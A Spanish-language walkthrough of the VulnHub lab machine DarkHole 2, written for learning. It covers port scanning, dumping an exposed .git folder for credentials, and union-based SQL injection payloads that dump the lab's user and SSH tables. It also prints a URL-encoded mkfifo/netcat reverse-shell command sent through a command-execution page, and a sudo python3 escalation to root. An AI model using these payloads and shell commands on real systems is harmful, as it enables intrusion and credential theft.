VulnHub Machines: DarkHole 2
DarkHole 2 es una máquina de dificultad Fácil, donde enumerando la máquina encontraremos una web con .git expuesto. Encontrando en los logs credenciales expuestas. En el panel de administración encontramos un SQLi donde explotamos y obtenemos credenciales de usuarios válidos en SSH. Una vez dentro de la máquina encontraremos en el archivo .bash_history solicitudes expuestas a una aplicación web corriendo en localhost, pudiendo ejecutar comandos como el usuario Losy. Luego abusamos del permiso sudoers en python3 que tenemos con el usuario Losy.
Enumeración
Vamos a empezar escaneando la red local:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ sudo arp-scan -I eth0 --localnet
[sudo] password for pylon:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:9e:99:b0, IPv4: 192.168.64.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.64.1 00:50:56:c0:00:08 VMware, Inc.
192.168.64.2 00:50:56:fb:55:46 VMware, Inc.
192.168.64.129 00:0c:29:95:1b:eb VMware, Inc.
192.168.64.254 00:50:56:ed:c4:96 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.922 seconds (133.19 hosts/sec). 4 responded
Por la direción MAC identifico la IP de la máquina que es la 192.168.64.129
. Ahora vamos a realizar un escaneo de puertos con nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ nmap -p- --open -sS -n -Pn -vvv 192.168.64.129 -oG ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 13:18 CEST
Initiating ARP Ping Scan at 13:18
Scanning 192.168.64.129 [1 port]
Completed ARP Ping Scan at 13:18, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:18
Scanning 192.168.64.129 [65535 ports]
Discovered open port 80/tcp on 192.168.64.129
Discovered open port 22/tcp on 192.168.64.129
Completed SYN Stealth Scan at 13:18, 0.97s elapsed (65535 total ports)
Nmap scan report for 192.168.64.129
Host is up, received arp-response (0.00060s latency).
Scanned at 2025-07-01 13:18:21 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:95:1B:EB (VMware)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Vemos que tiene el puerto 22
y 80
abierto, vamos a realizar un segundo escaneo para identificar que servicios y versiones están corriendo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.95 scan initiated Tue Jul 1 13:19:34 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sCV -oN target 192.168.64.129
Nmap scan report for 192.168.64.129
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.64.129:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: i changed login.php file for more secure
|_http-title: DarkHole V2
MAC Address: 00:0C:29:95:1B:EB (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 1 13:19:40 2025 -- 1 IP address (1 host up) scanned in 6.53 seconds
Vemos lo siguiente:
Puerto | Información |
---|---|
22/tcp | OpenSSH 8.2p1 Ubuntu |
80/tcp | Apache httpd 2.4.41 |
Nos reporta que a encontrado el directorio .git . |
Al ver que esta expuesto la carpeta .git
decido dumpearla con git-dumper
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
┌──(venv)─(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/content]
└─$ git-dumper http://192.168.64.129/.git/ git
[-] Testing http://192.168.64.129/.git/HEAD [200]
[-] Testing http://192.168.64.129/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.64.129/.git/ [200]
[-] Fetching http://192.168.64.129/.gitignore [404]
[-] Fetching http://192.168.64.129/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.64.129/.git/HEAD [200]
[-] Fetching http://192.168.64.129/.git/config [200]
[-] Fetching http://192.168.64.129/.git/info/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/ [200]
[-] Fetching http://192.168.64.129/.git/logs/ [200]
[-] Fetching http://192.168.64.129/.git/info/exclude [200]
[-] Fetching http://192.168.64.129/.git/description [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ [200]
[-] Fetching http://192.168.64.129/.git/index [200]
[-] Fetching http://192.168.64.129/.git/refs/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/HEAD [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/04/ [200]
[-] Fetching http://192.168.64.129/.git/refs/tags/ [200]
[-] Fetching http://192.168.64.129/.git/objects/09/ [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/ [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/ [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ [200]
[-] Fetching http://192.168.64.129/.git/objects/32/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/ [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/ [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/66/ [200]
[-] Fetching http://192.168.64.129/.git/objects/49/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/93/ [200]
[-] Fetching http://192.168.64.129/.git/objects/59/ [200]
[-] Fetching http://192.168.64.129/.git/objects/77/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/56/ [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/ [200]
[-] Fetching http://192.168.64.129/.git/objects/pack/ [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/ [200]
[-] Fetching http://192.168.64.129/.git/objects/info/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/6cd9032d268332de09c64cbe9efa63ace3998e [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/04/4d8b4fec000778de9fb27726de4f0f56edbd0e [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/b24de5b85be7cf4b2cef3f0cfc83b09a236133 [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/4328f5f878ed20c0b68fc8bda2133deadc49a3 [200]
[-] Fetching http://192.168.64.129/.git/objects/32/580f7fb8c39cdad6a7f49839cebfe07f597bcf [200]
[-] Fetching http://192.168.64.129/.git/objects/32/d0928f948af8252b0200ff9cac40534bfe230b [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/0ff67b07eb0cc9b7bed4f9094862c22cab2a7d [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/d95a2f170cb55fbb335a56974689f659e2c383 [200]
[-] Fetching http://192.168.64.129/.git/objects/09/04b1923584a0fb0ab31632de47c520db6a6e21 [200]
[-] Fetching http://192.168.64.129/.git/objects/66/5001d05a7c0b6428ce22de1ae572c54cba521d [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/0488521df2b427246c0155570f5bfad6936c6c [200]
[-] Fetching http://192.168.64.129/.git/objects/77/c09cf4b905b2c537f0a02bca81c6fbf32b9c9d [200]
[-] Fetching http://192.168.64.129/.git/objects/49/151b46cc957717f5529d362115339d4abfe207 [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ed9bf70f1f63a852e9e4f02df7b6d325e95c67 [200]
[-] Fetching http://192.168.64.129/.git/objects/93/9b9aad671e5bcde51b4b5d99b1464e2d52ceaa [200]
[-] Fetching http://192.168.64.129/.git/objects/56/987e1f75e392aae416571b38b53922c49f6e7e [200]
[-] Fetching http://192.168.64.129/.git/objects/59/218997bfb0d8012a918e43bea3e497e68248a9 [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/f546da0ab9a91467412383909c8edc9859a363 [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/076545503531a2e482a89b84f387e5d44d35c0 [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/f37015411ad104985c7dd86373b3a347f71097 [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/d900a8d85e8938d3601f3cef113ee293028e10 [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/1d821f48a9cf662f285457a5ce9af6b9feb2c4 [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/56989b29ad0767edc6cf3a202545927c3d1e76 [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ef127486aa47cd0b3435bca246594a43b559bb [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/2a5f3aa15bb402f2b90a07d86af57436d64917 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Bien ya teniendo esta información, antes de seguir con ella vamos a buscar otra, vamos a ver la aplicación web:
Podemos ver que tiene un Login
, vamos a intentar credenciales básicas:
Se ve que pide de un correo electronico, vamos a probar en el campo de la contraseña añadir una '
a ver si sucede algo fuera de lo normal:
Sigue exactamente igual… En la web no hay gran cosa, así que vamos a ver el git
:
Vamos a ver el login.php
para ver si hay algo mal configurado y que podamos abusar de el:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
<link rel="stylesheet" href="style/login.css">
<head>
<script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
<link rel="stylesheet" href="Project_1.css">
<title>Home</title>
</head>
<body>
<div class="container">
<h1>👋 Welcome</h1>
<!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html"><h1>Sign In</h1></a> -->
<!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html"> <h1>Log In</h1></a> -->
<form action="" method="post">
<div class="box">
<i class="fas fa-envelope"></i>
<input type="email" name="email" id="email" placeholder="Enter Your Email" required>
</div>
<div class="box">
<i class="fas fa-key"></i>
<input type="password" name="password" id="password" placeholder="Enter Your Password" required>
</div>
<button id="btn" name="button">Login</button>
</form>
</div>
</body>
Viendo las primeras lineas del código veo que incluye el archivo config.php
que se encuentra en el directorio config
. Vamos a darle un ojo:
1
2
<?php
$connect = new mysqli("localhost","root","","darkhole_2");
Tenemos unas credenciales:
Username | Password |
---|---|
root | darkhole_2 |
En este caso son las credenciales de acceso a la base de datos, esto nos está chivando que el usuario empleado es root
con una posibilidad de tener super privilegios en la base de datos y poder realizar muchas acciones abusando de los privilegios. Pero primero necesitamos encontrar un SQLi
. En el código vemos lo que hace con nuestro input:
1
2
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
Vemos que nos sanitiza la entrada con mysqli_real_escape_string
así que por aquí no puede a ver un SQLi. Vamos a ver los logs
del .git
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(venv)─(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git]
└─$ git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:14:32 2021 +0300
i changed login.php file for more secure
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:02:44 2021 +0300
First Initialize
Vemos varios logs, donde en 1
vemos un correo electrónico → anmar-v7@hotmail.com
. Vamos a ver que se realizó en ese log
ya que comenta que añadio cosas en el login.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(venv)─(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git] 13:31:42 [2/2]
└─$ git show a4d900a8d85e8938d3601f3cef113ee293028e10
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+ if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+ $_SESSION['userid'] = 1;
+ header("location:dashboard.php");
+ die();
+ }
+
+}
+?>
+
+<link rel="stylesheet" href="style/login.css">
+<head>
+ <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
+ <link rel="stylesheet" href="Project_1.css">
+ <title>Home</title>
Vemos otras credenciales:
Username | Password |
---|---|
root | darkhole_2 |
lush@admin.com | 321 |
Vemos que esto estaba en el login.php
, vamos a ver si son válidas:
Bien!! Me estoy finjando en un detalle que es el parámetro por GET
id
, vamos a probar a poner una comilla simple:
Vemos que la aplicación no carga. vamos a ver que código de estado devuelve:
Vamos a emplear ORDER BY
para filtrar por un número de columnas hasta encontrar el exacto:
' order by 100-- -
:
Era poco probable, vamos a bajarlo a 10
:
Nada… vamos a ir probando 9,8,7…
hasta que de otro código de estado:
Vemos que con 6
funciona, para probar vamos a poner 7
:
Vale, ya conocemos el número exacto de columnas que tiene la tabla. Vamos a emplear UNION
para ver si se reflejan los “datos basura”:
1
' union select 1,2,3,4,5,6-- -
Vemos que no… Ya que hay datos existentes y se reflejan primero. Vamos a probar a ir a id=2
:
Vemos que aquí ya no hay datos, vamos a probar el UNION
:
Vemos que se relfjan las columnas 2,3,5,6
y las columnas 1,4
no. Trabajaremos en la columna 2
ya que se refleja. Vamos a confirmar que el usuario que esta conectado a la db es root
con la función user()
:
1
' union select 1,user(),3,4,5,6-- -
Vamos a ver si tenemos super privilegios en la base de datos, para ello usaremos la base de datos mysql
y la tabla user
apuntando a la columna super_priv
:
1
' union select 1,super_priv,3,4,5,6 from mysql.user-- -
En este caso nos dice que Y
que significa Yes
así que tenemos super privilegios en la base de datos. Vamos a intentar enumerar los privilegios que tenemos:
1
' union select 1,grantee,privilege_type,4,5,6 from information_schema.user_privileges-- -
Podemos fijarnos en 2 problemas:
- No vemos todos los resultados solo muestra la primera fila.
- Estamos viendo los privilegios de otro usuario al que no estamos interesados
Para ver todos los resultados vamos a usar group_concat()
que lo que hace es concatenar todas las filas en 1:
1
' union select 1,group_concat(grantee),3,4,group_concat(privilege_type),6 from information_schema.user_privileges where grantee="'root'@'localhost'"-- -
Pero no nos mostrará nada. Vamos a enumerar la base de datos:
1
' union select 1,schema_name,3,4,5,6 from information_schema.schemata-- -
Vemos solo mysql
y es raro, vamos a usar group_concat
:
1
' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- -
Vemos la base de datos darkhole_2
, vamos a ver que db esta empleando actualmente:
1
' union select 1,database(),3,4,5,6-- -
Vale, vamos a enumerar que tablas tiene la base de datos darkhole_2
:
1
' union select 1,group_concat(table_name),3,4,group_concat(table_schema),6 from information_schema.tables where table_schema='darkhole_2'-- -
Existen 2 tablas:
users
ssh
Vamos a ver la tabla users
a ver que columnas contiene:
1
' union select 1,group_concat(column_name),3,4,group_concat(table_name),group_concat(table_schema) from information_schema.columns where table_name='users' and table_schema='darkhole_2'-- -
Vemos las siguientes columnas:
address
contact_number
email
id
password
username
1
' union select 1,username,3,4,password,6 from darkhole_2.users-- -
Vemos ya las credenciales obtenidas anteriormente por los logs
de git
. Vamos a ver las columnas de la otra tabla llamada ssh
1
' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh' and table_schema='darkhole_2'-- -
Vamos a ver el contenido de esas columnas:
1
' union select 1,group_concat(user),3,4,group_concat(pass),6 from darkhole_2.ssh-- -
Tenemos la siguientes credenciales:
Username | Password | Servicio |
---|---|---|
root | darkhole_2 | mysql |
lush@admin.com | 321 | login (http) |
jehad | fool | ssh |
Vamos a probar las credenciales por SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/nmap/git]
└─$ ssh jehad@192.168.64.129
jehad@192.168.64.129's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 01 Jul 2025 06:13:39 PM UTC
System load: 0.01 Processes: 233
Usage of /: 49.9% of 12.73GB Users logged in: 0
Memory usage: 20% IPv4 address for ens33: 192.168.64.129
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Sep 3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$
User Losy
Vamos a ver el .bash_history
de nuestro usuario actual jehad
:
1
2
3
4
5
6
7
jehad@darkhole:~$ cat .bash_history
[..]
curl http://localhost:9999
curl "http://localhost:999/?cmd=id"
curl "http://localhost:9999/?cmd=id"
curl http://localhost:9999/
[..]
Vemos que ha realizado peticiones por GET
al puerto 9999
que estaría corriendo en localhost
, vamos a comprobar si sigue activo:
1
2
3
4
5
6
7
8
9
10
jehad@darkhole:~$ ss -anot
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9999 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
ESTAB 0 0 192.168.64.129:22 192.168.64.128:48028 timer:(keepalive,117min,0)
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Sigue activo, vamos a enviarle un petición con curl
:
1
2
jehad@darkhole:~$ curl localhost:9999
Parameter GET['cmd']
Vemos que espera un parámetro por GET
llamado cmd
, vamos a enviarselo con un valor de un comando del sistema como id
, ya que normalmente el parámetro cmd
se emplea para ejecutar comandos a nivel de sistema:
1
2
3
4
jehad@darkhole:~$ curl localhost:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)
Vemos que lo ejecuta como el usuario losy
, vamos a ponernos en escucha en otra shell por ssh ya que esto corre por su localhost
y no llegará a nuestra máquina, vamos a ver si tiene nc
:
1
2
3
4
5
6
jehad@darkhole:~$ nc
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Bien nos pondremos en escucha en el puerto 8081
:
1
2
ehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081
Ahora enviaremos la reverse shell sacada de https://www.revshells.com/:
1
jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%208081%20%3E%2Ftmp%2Ff"
Ahora veremos si se estableció conexión:
1
2
3
4
5
jehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081
Connection received on 127.0.0.1 34774
sh: 0: can't access tty; job control turned off
$
Bien! Pongamos whoami
para ver si somos losy
:
1
2
$ whoami
losy
Vemos que estamos en el directorio /opt/web
donde vemos un index.php
:
1
2
3
4
5
6
7
8
losy@darkhole:/opt/web$ cat index.php
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>
Ahí vemos que recoje el valor del parámetro por GET
y ejecuta como comando del sistema con system
.
Escalada de privilegios
Vamos a ver el .bash_history
del usuario losy
:
Username | Password | Servicio |
---|---|---|
root | darkhole_2 | mysql |
lush@admin.com | 321 | login (http) |
jehad | fool | ssh |
losy | gang |
Ahora vamos a hacer un sudo -l
:
1
2
3
4
5
6
7
8
losy@darkhole:~$ sudo -l
[sudo] password for losy:
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3
Lo que haremos es ejecutar python3
como root
e importar la libreria os
:
1
2
losy@darkhole:~$ sudo python3 -c "import os; os.system('id')"
uid=0(root) gid=0(root) groups=0(root)
1
2
3
losy@darkhole:~$ sudo python3 -c "import os; os.system('/bin/bash')"
root@darkhole:/home/losy# whoami
root
root! :)